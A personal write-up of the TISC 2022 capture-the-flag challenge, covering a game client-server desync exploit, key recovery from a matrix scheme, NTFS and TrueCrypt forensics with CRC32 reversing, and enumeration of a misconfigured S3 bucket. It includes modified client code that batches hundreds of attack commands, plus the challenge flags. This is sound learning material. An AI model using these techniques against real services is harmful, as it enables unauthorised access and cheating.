The TISC 2022 Writeup

I spent some time over the 2 weeks doing the CSIT The InfoSecurity Challenge.

Overall I think I did decent, as I could get the Level 4 Badge. Out of the 213 who got points, I was in the 59th position.

Image description

Here are my writeups

Level 1

Image description

Solution

Firstly, source code is given, so I started reading it.

It includes both the client and server code

(base) [hacker@hackerbook src]$ ls
Dockerfile  PLEASE_READ.txt  client  core  docker-compose.yml  flag.txt  main.py  poetry.lock  pyproject.toml  requirements.txt  run_server.py  server
(base) [hacker@hackerbook src]$

From the looks of the Dockerfile, there's a flag file on the server

COPY --from=builder /venv /venv
COPY flag.txt /
COPY . /app

RUN rm /app/flag.txt

RUN adduser -u 5678 --disabled-password --gecos "" appuser && chown -R appuser /app

RUN chown root:appuser /flag.txt
RUN chmod 440 /flag.txt

...

Basic Analysis

Server Code

The main server code is in run_server.py. It imports several libraries from the server folder

from typing import Optional

from core.models import Command
from server import GameServer
from server.service import (
    BattleService,
    BuyPotionService,
    BuySwordService,
    ViewStatsService,
    WorkService,
)

server = GameServer.create()


def execute(command: Optional[Command]):
    match command:
        case Command.BATTLE:
            server.run(BattleService(server=server))
        case Command.VIEW_STATS:
            server.run(ViewStatsService(server=server))
        case Command.WORK:
            server.run(WorkService(server=server))
        case Command.BUY_SWORD:
            server.run(BuySwordService(server=server))
        case Command.BUY_POTION:
            server.run(BuyPotionService(server=server))
        case Command.EXIT:
            server.exit()


while True:
    execute(server.recv_command())

Looking at the files in the server folder, we can see where they read the file in server/gameserver.py

@dataclass
class GameServer:
    connection: NetClient
    game: Game

    ...

    def recv_command(self) -> Optional[Command]:
        try:
            return Command(self.__recv())
        except ValueError:
            return None

    ...

    def send_flag(self):
        with open("/flag.txt", "r") as f:
            self.__send(f.read())

I tried to look through all the files for where the send_flag function is called (by searching for send_flag)

(base) [hacker@hackerbook src]$ grep -rnw ./ -e 'send_flag'
./server/service/battleservice.py:55:        self.server.send_flag()
./server/gameserver.py:50:    def send_flag(self):
(base) [hacker@hackerbook src]$

In server/service/battleservice.py, is the battle code. The flag is called when the battle is won and when there is no next boss.

from __future__ import annotations

from typing import TYPE_CHECKING, Optional

from core.models import Command, CommandHistorian, Result

if TYPE_CHECKING:
    from server import GameServer


class BattleService:

...

    def run(self):
        self.__send_next_boss()

        while True:
            self.history.log_commands_from_str(self.server.recv_command_str())

            match self.history.latest:
                case Command.ATTACK | Command.HEAL:
                    self.history.log_command(Command.BOSS_ATTACK)
                case Command.VALIDATE:
                    break
                case Command.RUN:
                    return
                case _:
                    self.server.exit(1)

        match self.__compute_battle_outcome():
            case Result.PLAYER_WIN_BATTLE:
                self.__handle_battle_win()
                return
            case Result.BOSS_WIN_BATTLE:
                self.server.exit()
            case _:
                self.server.exit(1)

    def __handle_battle_win(self):
        self.server.game.remove_next_boss()
        if self.__boss_available_for_next_battle():
            self.server.send_result(Result.VALIDATED_OK)
            return
        self.server.send_result(Result.OBTAINED_FLAG)
        self.server.send_flag()
        self.server.exit()

    def __boss_available_for_next_battle(self) -> bool:
        return not (self.server.game.next_boss is None)

...

Hmm there's some unexpected code

Core Code

I first read core/game.py to know more about the class Game. It suggests that there are a list of bosses from a json file. Most likely the list on the server is hidden

import json
import sys
from dataclasses import dataclass, field
from typing import List, Optional

from core.config import BOSS_DATA_FILE
from core.models.boss import Boss
from core.models.player import Player


@dataclass
class Game:
    bosses: List[Boss]
    player: Player = field(default_factory=Player)

    @property
    def next_boss(self) -> Optional[Boss]:
        try:
            return self.bosses[0]
        except IndexError:
            return None

    @classmethod
    def create(cls) -> "Game":
        bosses = Game.__load_bosses(BOSS_DATA_FILE)

        if len(bosses) == 0:
            sys.exit(-1)

        return cls(bosses=bosses)

    def remove_next_boss(self):
        self.bosses = self.bosses[1:]

    @staticmethod
    def __load_bosses(filename: str) -> List[Boss]:
        with open(filename, "r") as f:
            return [
                Boss(**boss_data, max_hp=boss_data["hp"])
                for boss_data in json.load(f)
            ]

I also looked at the player code, one interesting thing is that

  1. More swords are basically useless, as they will still deal 2 damage
from __future__ import annotations

import json
from dataclasses import dataclass
from typing import TYPE_CHECKING

if TYPE_CHECKING:
    from core.models.boss import Boss

from core.config import BASE_ATTACK, POTION_POTENCY, SWORD_ATTACK_BONUS


@dataclass
class Player:
    hp: int = 10
    max_hp: int = 10
    gold: int = 0
    sword: int = 0
    potion: int = 0

    @property
    def attack(self) -> int:
        return BASE_ATTACK + self.__compute_bonus_attack()

    @property
    def is_alive(self) -> bool:
        return self.hp > 0

    @property
    def is_dead(self) -> bool:
        return not self.is_alive

    @property
    def lost_hp(self) -> int:
        return self.max_hp - self.hp

    def receive_attack_from(self, attacker: "Boss"):
        self.hp -= attacker.attack

    def use_potion(self):
        if not self.__has_potion():
            return
        self.potion -= 1
        self.hp = min(self.hp + POTION_POTENCY, self.max_hp)

    @classmethod
    def from_json(cls, data: str) -> "Player":
        return cls(**json.loads(data))

    def to_json(self) -> str:
        return json.dumps(self.__dict__)

    def __compute_bonus_attack(self) -> int:
        if not self.__has_sword():
            return 0
        return SWORD_ATTACK_BONUS

    def __has_sword(self) -> bool:
        return self.sword > 0

    def __has_potion(self) -> bool:
        return self.potion > 0

    def __str__(self):
        return (
            f"HP:{self.hp}/{self.max_hp}\n"
            + f"ATTACK:{self.attack}\n"
            + f"GOLD:{self.gold}\n"
            + f"POTIONS:{self.potion}"
        )

Client Code

I tried looking at the client code, which is kinda weird. I ended up stumbling on src/client/event/battleevent.py I wanted to find if there's anything client side that doesn't sync with server side. Maybe we could exploit that.

From the looks of it the client side initialises everything separately from the server. It uses new models, and does not always update from the server.

from typing import Optional

from client import GameClient
from client.error import Error
from client.ui import screens
from core.models import Boss, Command, Result


class BattleEvent:
    def __init__(self, client: GameClient) -> None:
        self.client = client
        self.player = client.player

    def run(self):
        self.boss: Boss = self.client.fetch_next_boss()

        while True:
            self.__display()

            match self.__get_battle_command():
                case Command.ATTACK:
                    self.__attack_boss()
                    if self.boss.is_dead:
                        break
                case Command.HEAL:
                    self.__use_potion()
                case Command.RUN:
                    self.client.send_command(Command.RUN)
                    return
                case _:
                    continue

            self.player.receive_attack_from(self.boss)
            if self.player.is_dead:
                break

        self.client.send_command(Command.VALIDATE)

        if self.player.is_dead:
            self.__handle_death()

        match self.client.fetch_result():
            case Result.VALIDATED_OK:
                screens.display_boss_slain_screen()
                return
            case Result.OBTAINED_FLAG:
                screens.display_flag_screen(self.client.fetch_flag())
                self.client.exit()
            case _:
                screens.display_error(Error.RECEIVED_MALFORMED_RESULT)
                self.client.exit(1)

    def __use_potion(self):
        self.client.send_command(Command.HEAL)
        self.player.use_potion()

    def __attack_boss(self):
        self.client.send_command(Command.ATTACK)
        self.boss.receive_attack_from(self.player)

    def __handle_death(self):
        screens.display_game_over_screen()
        self.client.exit()

    def __display(self):
        screens.display_battle_screen(player=self.player, boss=self.boss)

    def __get_battle_command(self) -> Optional[Command]:
        match input():
            case "1":
                return Command.ATTACK
            case "2":
                return Command.HEAL
            case "3":
                return Command.RUN
            case _:
                return None

Discrepancy Found between Client & Server Events

Battle

There are generally no discrepancies, as shown in the codes above.

Generally after an attack command, the server will register an extra boss attack command on their side too.

    def run(self):
        self.__send_next_boss()

        while True:
            self.history.log_commands_from_str(self.server.recv_command_str())

            match self.history.latest:
                case Command.ATTACK | Command.HEAL:
                    self.history.log_command(Command.BOSS_ATTACK)
                case Command.VALIDATE:
                    break
                case Command.RUN:
                    return
                case _:
                    self.server.exit(1)

Shop

The client side code client/event/shopevent.py only handles sending the commands, and does not update the local player model.

The server side codes server/event/buyswordservice.py and server/event/buypotionservice.py generally handle the main validation, which only checks if the player has enough gold to buy.

Unlimited Gold Exploit

After some digging, and checking each of the potential events, I found out discrepancies between the work service.

The Server code does not do any validation in server/event/workservice.py

from __future__ import annotations

from typing import TYPE_CHECKING

from core.config import WORK_SALARY

if TYPE_CHECKING:
    from server import GameServer


class WorkService:
    def __init__(self, server: GameServer):
        self.server = server

    def run(self):
        self.server.game.player.gold += WORK_SALARY

The Client code does validation in client/event/workevent.py.

from random import random

from client import GameClient
from client.ui import screens
from core.models import Command

CREEPER_ENCOUNTER_CHANCE = 0.2


class WorkEvent:
    def __init__(self, client: GameClient) -> None:
        self.client = client

    def run(self):
        if random() <= CREEPER_ENCOUNTER_CHANCE:
            self.__die_to_creeper()
        self.__mine_safely()

    def __die_to_creeper(self):
        screens.display_creeper_screen()
        screens.display_game_over_screen()
        self.client.exit()

    def __mine_safely(self):
        screens.display_working_screen()
        self.client.send_command(Command.WORK)

Since the client side is something we can control, I reduced the CREEPER_ENCOUNTER_CHANCE to 0. This allows us to get infinite gold. I also removed the display working screen because I can.

My modified code is here

from random import random

from client import GameClient
from client.ui import screens
from core.models import Command

CREEPER_ENCOUNTER_CHANCE = 0 #.2


class WorkEvent:
    def __init__(self, client: GameClient) -> None:
        self.client = client

    def run(self):
        if random() <= CREEPER_ENCOUNTER_CHANCE:
            self.__die_to_creeper()
        self.__mine_safely()

    def __die_to_creeper(self):
        screens.display_creeper_screen()
        screens.display_game_over_screen()
        self.client.exit()

    def __mine_safely(self):
        #screens.display_working_screen()
        self.client.send_command(Command.WORK)

Running the Client Code

Unlimited gold exploit can be used to increase number of potions, but not number of swords

Among the bosses is one with attack 50, which instant kills

Another Exploit - Command Interpretation

When checking for the battle events, as I want to bypass the attack power restriction, I noticed the client side code parsed the commands weirdly. Why commands instead of command

    def run(self):
        self.__send_next_boss()

        while True:
            self.history.log_commands_from_str(self.server.recv_command_str()) # Should be log_command_from_str

            match self.history.latest:
                case Command.ATTACK | Command.HEAL:
                    self.history.log_command(Command.BOSS_ATTACK)
                case Command.VALIDATE:
                    break
                case Command.RUN:
                    return
                case _:
                    self.server.exit(1)

If you check the CommandHistorian class used from core/models/command.py, you notice that the function used, log_commands_from_str to parse the commands actually can parse more than 1 command at once

@dataclass
class CommandHistorian:
    commands: List[Command] = field(default_factory=list)

    def log_command(self, command: Command):
        self.commands.append(command)

    def log_commands(self, commands: List[Command]):
        self.commands.extend(commands)

    def log_command_from_str(self, command_str: str):
        self.log_command(Command(command_str))

    def log_commands_from_str(self, commands_str: str):
        self.log_commands(
            [Command(command_str) for command_str in commands_str.split()]
        )

    ...

I modified the function in battleevent.py to send more than 1 command

    def __attack_boss(self):
        #self.client.send_command(Command.ATTACK)
        value = " ".join(["ATTACK" for i in range(500)])
        self.client._GameClient__send(value)
        for i in range(500):self.boss.receive_attack_from(self.player)

Just run python3 main.py --host chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg --port 18261, keep attacking the bosses, and you should get the flag

Flag

TISC{L3T5_M33T_4G41N_1N_500_Y34R5_96eef57b46a6db572c08eef5f1924bc3}

Level 2

Easy Challenge, just basic math lol

api.tisc.csit-events.sg/file?id=cl6j1u5ua09..

Solution

Matrix Multiplication

On reading the PDF document, you can find the code for the server and a brief explanation.

The code generates an 8x8 matrix SECRET_KEY. You can provide challenge to get a response 8 times. Then they give you the challenge inputvector, and you are supposed to return the correct response input vector 8 times. If all is correct you are verified and you get the flag.

Refresher on matrix multiplication (Secondary School topic)

We can give a vector with only 1 value set to 1, (eg. 10000000) to find 8 corresponding values in the SECRET_KEY matrix. We can repeat this 8 times to get the entire matrix

Solution Script and Command Output

#!/usr/bin/python

"""
# Answers
10000000
01000000
00100000
00010000
00001000
00000100
00000010
00000001
"""

responses = """
00111100
00100010
10010110
11111011
11110001
00011001
10010110
00001100
""".strip().split("\n")

import numpy as np

def strtovec(s, rows=8, cols=1):
  return np.fromiter(list(s), dtype="int").reshape(rows, cols)

SKEY = [ [0 for j in range(8)] for i in range(8)]  
for i in range(len(responses)): # lines
  for j in range(8): 
    SKEY[j][i] = int(responses[i][j])

# for i in SKEY: print(i) # Visualise
SECRET_KEY = np.array(SKEY)


for i in range(8):
  input_vec = strtovec(input("InputVector: "))
  answer_vec = (SECRET_KEY @ input_vec) & 1
  output = ""
  for i in answer_vec:
    output += str(i[0])
  print(output)
(base) [hacker@hackerbook Level 2]$ python3 solution.py 
InputVector: 10010100
11011110
InputVector: 01010111
01011010
InputVector: 00000111
10000011
InputVector: 00011011
10010000
InputVector: 11110101
01100110
InputVector: 00100011
00001100
InputVector: 10100111
00101001
InputVector: 10110000
01010001
(base) [hacker@hackerbook Level 2]$
[hacker@hackerbook src]$ nc chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg 56765

 ::::::::        :::       :::     :::     :::   :::
:+:    :+:       :+:       :+:   :+: :+:   :+:   :+:
      +:+        +:+       +:+  +:+   +:+   +:+ +:+
    +#+          +#+  +:+  +#+ +#++:++#++:   +#++:
  +#+            +#+ +#+#+ +#+ +#+     +#+    +#+
 #+#              #+#+# #+#+#  #+#     #+#    #+#
##########         ###   ###   ###     ###    ###

:::    ::: :::::::::: :::   :::          :::               :::
:+:   :+:  :+:        :+:   :+:         :+:                 :+:
+:+  +:+   +:+         +:+ +:+         +:+                   +:+
+#++:++    +#++:++#     +#++:         +#+    +#++:++#++:++    +#+
+#+  +#+   +#+           +#+           +#+                   +#+
#+#   #+#  #+#           #+#            #+#                 #+#
###    ### ##########    ###             ###              ###

:::     ::: :::::::::: :::::::::  ::::::::::: :::::::::: :::   :::
:+:     :+: :+:        :+:    :+:     :+:     :+:        :+:   :+:
+:+     +:+ +:+        +:+    +:+     +:+     +:+         +:+ +:+
+#+     +:+ +#++:++#   +#++:++#:      +#+     :#::+::#     +#++:
 +#+   +#+  +#+        +#+    +#+     +#+     +#+           +#+
  #+#+#+#   #+#        #+#    #+#     #+#     #+#           #+#
    ###     ########## ###    ### ########### ###           ###

=============
Challenge Me!
=============
Challenge Me #01 <-- 10000000
01000000
00100000
00010000
00001000
00000100
00000010
00000001
My Response --> 00111100
Challenge Me #02 <-- My Response --> 00100010
Challenge Me #03 <-- My Response --> 10010110
Challenge Me #04 <-- My Response --> 11111011
Challenge Me #05 <-- My Response --> 11110001
Challenge Me #06 <-- My Response --> 00011001
Challenge Me #07 <-- My Response --> 10010110
Challenge Me #08 <-- My Response --> 00001100
==============
Challenge You!
==============
Challenge You #01 --> 10010100
Your Response <-- 11011110
Challenge You #02 --> 01010111
Your Response <-- 01011010
Challenge You #03 --> 00000111
Your Response <-- 10000011
Challenge You #04 --> 00011011
Your Response <-- 10010000
Challenge You #05 --> 11110101
Your Response <-- 01100110
Challenge You #06 --> 00100011
Your Response <-- 00001100
Challenge You #07 --> 10100111
Your Response <-- 00101001
Challenge You #08 --> 10110000
Your Response <-- 01010001
========================
All challenges passed :)
========================
=================================================================
Here is your flag: TISC{d0N7_R0lL_Ur_0wN_cRyp70_7a25ee4d777cc6e9}
=================================================================
[hacker@hackerbook src]$

Flag

TISC{d0N7_R0lL_Ur_0wN_cRyp70_7a25ee4d777cc6e9}

Level 3 - Part 1

Solution

Mounting

This looks like the image of a partition superuser.com/questions/1502676/what-are-th..

If cannot mount, run testdisk to fix the boot sector

[hacker@hackerbook tmp]$ file PATIENT0 
PATIENT0: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 0, FAT (1Y bit by descriptor); NTFS, physical drive 0xab3566f7, sectors 12287, $MFT start cluster 4, $MFTMirror start cluster 767, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 05c66c6b160cddda1
[hacker@hackerbook tmp]$ mkdir /tmp/t
[hacker@hackerbook tmp]$ sudo mount PATIENT0 /tmp/t
[sudo] password for hacker: 
[hacker@hackerbook tmp]$ cd /tmp/t
[hacker@hackerbook t]$ ls -al
total 12
drwxrwxrwx  1 root root 4096 Aug 20 01:37 .
drwxrwxrwt 17 root root  540 Aug 27 01:32 ..
-rwxr-xr-x  1 root root 6049 Aug 20 00:40 message.png
[hacker@hackerbook t]$

message

I used an image to text converter here

GIXFI2DJOJZXI6JAMZXXEIDUNBSSAZTMMFTT6ICHN4QGM2LOMQQHI2DFEBZXI4TFMFWS4CQ=

I then used cyberchef to identify it was base32, and then convert it as such.

[hacker@hackerbook t]$ echo "GIXFI2DJOJZXI6JAMZXXEIDUNBSSAZTMMFTT6ICHN4QGM2LOMQQHI2DFEBZXI4TFMFWS4CQ=" | base32 -d
2.Thirsty for the flag? Go find the stream.
[hacker@hackerbook t]$

Autopsy

┌──(kali㉿kali)-[/tmp]
└─$ tsk_recover PATIENT0 files      
Files Recovered: 1

┌──(kali㉿kali)-[/tmp]
└─$ ls files                                        
broken.pdf

┌──(kali㉿kali)-[/tmp]
└─$

┌──(kali㉿kali)-[/tmp]
└─$ exiftool /tmp/broken.pdf 
ExifTool Version Number         : 12.36
File Name                       : broken.pdf
Directory                       : /tmp
File Size                       : 499 KiB
File Modification Date/Time     : 2022:08:27 05:24:56-04:00
File Access Date/Time           : 2022:08:27 05:24:57-04:00
File Inode Change Date/Time     : 2022:08:27 05:24:56-04:00
File Permissions                : -rwxr-xr-x
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Author                          : user
Create Date                     : 2022:08:20 03:35:28+10:00
Modify Date                     : 2022:08:20 03:35:28+10:00
Producer                        : Microsoft: Print To PDF
Title                           : Microsoft Word - Document1
Page Count                      : 1

┌──(kali㉿kali)-[/tmp]
└─$

File Stream

When I read the word stream, I immediately thought of file stream, which lead me to this: docs.microsoft.com/en-us/windows/win32/file..

Clues

  1. The BPB is broken, can you fix it?
  2. Thirsty for the flag? Go find the stream.
  3. Are these True random bytes for Cryptology
  4. If you need a password, the original reading of the BPB was actually Checked and ReChecked 32 times!

Googling for terms

I assume its about analysing the BIOS Parameter Blocks. Now need to find the term to do so.

Analysing BPB

I opened the file in a hex editor and tried to check on the BIOS Parameter Blocks

en.wikipedia.org/wiki/NTFS#Partition_BootSector(PBS)

Comparison shows 0x18, 0x1a, 0x1c values are 0

0x28 is diff but its because its the partition size, 0x48 diff because unique, 0x20 is diff but its useless

End of Sector Marking

According to Wikipedia, Sector 1 0x20

The Byte Offset 0x20 is supposed to be all 00, while 0x24 is supposed to be 80 00 80 00 (Little Endian, causing things to be reversed. However, in the file they are different, as shown.

Selecting those 4 bytes and wrapping them gives the flag

Flag

TISC{f76635ab}

Level 3 - Part 2

' Image description

Solution - Continued

Looking at Hints 2 & 3, you can infer that the solution is TrueCrypt

Clue 4 Capitalises the letters C, R, C and includes the number 32, suggesting the algorithm is CRC32.

I fixed the disk image using the testdisk command. Opening the file with that command, I then fixed the boot sector (since the corrupted bytes are there). This is to allow us to mount the image.

I mounted the disk image in Windows using OSFMount

I downloaded the NTFS Data Stream message.png:$RAND using the AlternateStreamView Program. This is to extract the stream properly. I was stuck on extracting it through Autopsy, and it didn't extract the volume properly.

Afterwards, I removed the text characters at the start. They are likely data added on to the initial data.

Used f76635ab as password (The Flag)

Inside the volume has this image

CRC32 Cracking

I downloaded a CRC32 cracking program and used it to crack the modified bytes. I modified the program to crack for the specific situation

┌──(kali㉿kali)-[/tmp]
└─$ git clone https://github.com/theonlypwner/crc32.git                                                                                              
Cloning into 'crc32'...
remote: Enumerating objects: 53, done.
remote: Counting objects: 100% (34/34), done.
remote: Compressing objects: 100% (19/19), done.
remote: Total 53 (delta 13), reused 30 (delta 11), pack-reused 19
Receiving objects: 100% (53/53), 43.08 KiB | 6.15 MiB/s, done.
Resolving deltas: 100% (19/19), done.

┌──(kali㉿kali)-[/tmp]
└─$ cd crc32                                                     

┌──(kali㉿kali)-[/tmp/crc32]
└─$ ls   
crc32.py  LICENSE.txt  README.md  test_data.py  test.py

┌──(kali㉿kali)-[/tmp/crc32]
└─$ mousepad crc32.py

┌──(kali㉿kali)-[/tmp/crc32]
└─$ python crc32.py reverse 0xf76635ab > gen                                                                                                                    1 ⨯ 1 ⚙

┌──(kali㉿kali)-[/tmp/crc32]
└─$

Here are the modifications I made to crc32.py

def reverse_callback():
    # initialize tables
    init_tables(get_poly())
    # find reverse bytes
    desired = parse_dword(args.desired)
    accum = parse_dword(args.accum)
    # 4-byte patch
    patches = findReverse(desired, accum)
    for patch in patches:
        text = ''
        if all(p in permitted_characters for p in patch):
            text = '{}{}{}{} '.format(*map(chr, patch))
        out('4 bytes: {}{{0x{:02x}, 0x{:02x}, 0x{:02x}, 0x{:02x}}}'.format(text, *patch))
        checksum = calc(patch, accum)
        out('verification checksum: 0x{:08x} ({})'.format(
            checksum, 'OK' if checksum == desired else 'ERROR'))

    def print_permitted_reverse(patch):
            patches = findReverse(desired, calc(patch, accum))
            for last_4_bytes in patches:
                if all(p in permitted_characters for p in last_4_bytes):
                    patch2 = patch + last_4_bytes
                    out('{} bytes: {} ({})'.format(
                        len(patch2),
                        ''.join(map(chr, patch2)),
                        'OK' if calc(patch2, accum) == desired else 'ERROR'))

    # 5-byte alphanumeric patches
    for i in permitted_characters:
        print_permitted_reverse((i,))
    # 6-byte alphanumeric patches
    for i in permitted_characters:
        for j in permitted_characters:
            print_permitted_reverse((i, j))
    # 7-byte alphanumeric patches
    for i in permitted_characters:
        for j in permitted_characters:
            for k in permitted_characters:
                print_permitted_reverse((i, j, k))
    # 9-byte
    for i in permitted_characters:
        for j in permitted_characters:
            for k in permitted_characters:
                for x in permitted_characters:
                        y = ord('c')
                        print_permitted_reverse((y, i, j, k, x))

What came out was a list of potential passwords, which if passed though CRC32, could produce the modified bytes. One of the entries, c01lis1on, seemed interesting.

PPT File

Keying in c01lis1on as the password, I get flag.ppsm, which is a PowerPoint presentation.

Opening it gives me a tip on how to get the flag

I then extracted the mp3 file from the PowerPoint Slide.

┌──(kali㉿kali)-[~]
└─$ cp /media/sf_Stuff/flag.ppsm /tmp

┌──(kali㉿kali)-[~]
└─$ file /tmp/flag.ppsm 
/tmp/flag.ppsm: Microsoft PowerPoint 2007+

┌──(kali㉿kali)-[~]
└─$ cd /tmp                          

┌──(kali㉿kali)-[/tmp]
└─$ dtrx flag.ppsm         
dtrx: ERROR: could not handle flag.ppsm
dtrx: ERROR: not a known archive type

┌──(kali㉿kali)-[/tmp]
└─$ cp flag.ppsm flag.zip                                                                                                                                           1 ⨯

┌──(kali㉿kali)-[/tmp]
└─$ dtrx flag.zip 

┌──(kali㉿kali)-[/tmp]
└─$ cd flag              

┌──(kali㉿kali)-[/tmp/flag]
└─$ ls                         
'[Content_Types].xml'   docProps   ppt   _rels

┌──(kali㉿kali)-[/tmp/flag]
└─$ ls -alR                    
.:
total 24
drwx------  5 kali kali 4096 Sep  8 08:47  .
drwxrwxrwt 18 root root 4096 Sep  8 08:47  ..
-rw-r--r--  1 kali kali 3273 Jan  1  1980 '[Content_Types].xml'
drwxr-xr-x  2 kali kali 4096 Sep  8 08:47  docProps
drwxr-xr-x  8 kali kali 4096 Sep  8 08:47  ppt
drwxr-xr-x  2 kali kali 4096 Sep  8 08:47  _rels

./docProps:
total 28
drwxr-xr-x 2 kali kali  4096 Sep  8 08:47 .
drwx------ 5 kali kali  4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali  1299 Jan  1  1980 app.xml
-rw-r--r-- 1 kali kali   644 Jan  1  1980 core.xml
-rw-r--r-- 1 kali kali 11197 Jan  1  1980 thumbnail.jpeg

./ppt:
total 48
drwxr-xr-x 8 kali kali 4096 Sep  8 08:47 .
drwx------ 5 kali kali 4096 Sep  8 08:47 ..
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 media
-rw-r--r-- 1 kali kali 3380 Jan  1  1980 presentation.xml
-rw-r--r-- 1 kali kali  816 Jan  1  1980 presProps.xml
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 _rels
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 slideLayouts
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 slideMasters
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 slides
-rw-r--r-- 1 kali kali  182 Jan  1  1980 tableStyles.xml
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 theme
-rw-r--r-- 1 kali kali  810 Jan  1  1980 viewProps.xml

./ppt/media:
total 1112
drwxr-xr-x 2 kali kali   4096 Sep  8 08:47 .
drwxr-xr-x 8 kali kali   4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali  16169 Jan  1  1980 image1.png
-rw-r--r-- 1 kali kali 147982 Jan  1  1980 image2.jpg
-rw-r--r-- 1 kali kali 961443 Jan  1  1980 media1.mp3

./ppt/_rels:
total 12
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 .
drwxr-xr-x 8 kali kali 4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali  976 Jan  1  1980 presentation.xml.rels

./ppt/slideLayouts:
total 72
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 .
drwxr-xr-x 8 kali kali 4096 Sep  8 08:47 ..
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 _rels
-rw-r--r-- 1 kali kali 2946 Jan  1  1980 slideLayout10.xml
-rw-r--r-- 1 kali kali 3170 Jan  1  1980 slideLayout11.xml
-rw-r--r-- 1 kali kali 3648 Jan  1  1980 slideLayout1.xml
-rw-r--r-- 1 kali kali 2891 Jan  1  1980 slideLayout2.xml
-rw-r--r-- 1 kali kali 4384 Jan  1  1980 slideLayout3.xml
-rw-r--r-- 1 kali kali 3756 Jan  1  1980 slideLayout4.xml
-rw-r--r-- 1 kali kali 6285 Jan  1  1980 slideLayout5.xml
-rw-r--r-- 1 kali kali 2223 Jan  1  1980 slideLayout6.xml
-rw-r--r-- 1 kali kali 1897 Jan  1  1980 slideLayout7.xml
-rw-r--r-- 1 kali kali 4704 Jan  1  1980 slideLayout8.xml
-rw-r--r-- 1 kali kali 4623 Jan  1  1980 slideLayout9.xml

./ppt/slideLayouts/_rels:
total 52
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 .
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout10.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout11.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout1.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout2.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout3.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout4.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout5.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout6.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout7.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout8.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout9.xml.rels

./ppt/slideMasters:
total 28
drwxr-xr-x 3 kali kali  4096 Sep  8 08:47 .
drwxr-xr-x 8 kali kali  4096 Sep  8 08:47 ..
drwxr-xr-x 2 kali kali  4096 Sep  8 08:47 _rels
-rw-r--r-- 1 kali kali 12846 Jan  1  1980 slideMaster1.xml

./ppt/slideMasters/_rels:
total 12
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 .
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali 1991 Jan  1  1980 slideMaster1.xml.rels

./ppt/slides:
total 16
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 .
drwxr-xr-x 8 kali kali 4096 Sep  8 08:47 ..
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 _rels
-rw-r--r-- 1 kali kali 3653 Jan  1  1980 slide1.xml

./ppt/slides/_rels:
total 12
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 .
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali  838 Jan  1  1980 slide1.xml.rels

./ppt/theme:
total 16
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 .
drwxr-xr-x 8 kali kali 4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali 6807 Jan  1  1980 theme1.xml

./_rels:
total 12
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 .
drwx------ 5 kali kali 4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali  738 Jan  1  1980 .rels

┌──(kali㉿kali)-[/tmp/flag]
└─$ md5sum ./ppt/media/media1.mp3 
f9fc54d767edc937fc24f7827bf91cfe  ./ppt/media/media1.mp3

Flag

TISC{f9fc54d767edc937fc24f7827bf91cfe}

Level 4B

Solution

Identifying S3 Bucket

Firstly, I viewed the source code of the website at d20whnyjsgpc34.cloudfront.net, which suggests AWS S3 buckets (since it uses the term S3).

<header>

  <div class="p-5 text-center bg-light">
    <!-- Passcode -->
    <h1 class="mb-3">Cats rule the world</h1>
    <!-- Passcode -->
    <!-- 
      ----- Completed -----
      * Configure CloudFront to use the bucket - palindromecloudynekos as the origin

      ----- TODO -----
      * Configure custom header referrer and enforce S3 bucket to only accept that particular header
      * Secure all object access
    -->
    <h4 class="mb-3">—ฅ/ᐠ. ̫ .ᐟ\ฅ —</h4>
  </div>

</header>

Researching on AWS S3 Buckets gets me to this link, atos.net/en/lp/securitydive/poorly-configur... Following a typical bucket header, I get the link palindromecloudynekos.s3.amazonaws.com/inde..

Enumerating S3 Bucket

I installed AWS CLI following this guide, and configured it using my peronal account.

I then accessed the bucket following this guide

┌──(kali㉿kali)-[/tmp/flag]
└─$ aws s3 ls s3://    

┌──(kali㉿kali)-[/tmp/flag]
└─$ aws s3 ls s3://palindromecloudynekos
                           PRE api/
                           PRE img/
2022-08-23 09:16:20         34 error.html
2022-08-23 09:16:20       2257 index.html

┌──(kali㉿kali)-[/tmp/flag]
└─$ aws s3 ls s3://palindromecloudynekos/img/
